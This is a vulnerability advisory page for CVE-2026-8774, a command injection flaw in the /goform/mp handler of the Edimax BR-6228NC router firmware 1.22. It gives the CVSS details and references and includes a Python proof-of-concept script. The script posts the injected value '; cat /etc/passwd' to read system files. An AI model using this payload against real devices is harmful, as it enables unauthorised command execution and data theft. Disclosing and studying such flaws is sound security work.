CVE-2026-8774

Description

A vulnerability was detected in Edimax BR-6228NC 1.22. Affected by this issue is the function mp of the file /goform/mp of the component POST Request Handler. The manipulation of the argument command results in command injection. The attack may be performed from remote. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

CVSS Details

CVSS Score

6.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Edimax BR-6228NC 1.22

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL setup
target_ip = "192.168.1.1"
url = f"http://{target_ip}/goform/mp"

# Vulnerable parameter 'command'
# Example payload to inject a command. 
# Using a semicolon to chain commands in the shell.
payload_data = {
    "command": "; cat /etc/passwd" 
}

try:
    print(f"Sending payload to {url}...")
    response = requests.post(url, data=payload_data, timeout=5)
    
    if response.status_code == 200:
        print("Request sent successfully.")
        print("Response:")
        print(response.text)
    else:
        print(f"Failed with status code: {response.status_code}")
except Exception as e:
    print(f"An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8774
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8774
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8774/
[4] VulDB https://vuldb.com/cve/CVE-2026-8774
[5] https://lavender-bicycle-a5a.notion.site/EDIMAX-BR6228NC-mp-34b53a41781f80db8aaed24e43ea24b9?source=copy_link
[6] https://vuldb.com/submit/811529
[7] https://vuldb.com/vuln/364399
[8] https://vuldb.com/vuln/364399/cti

Raw JSON Data

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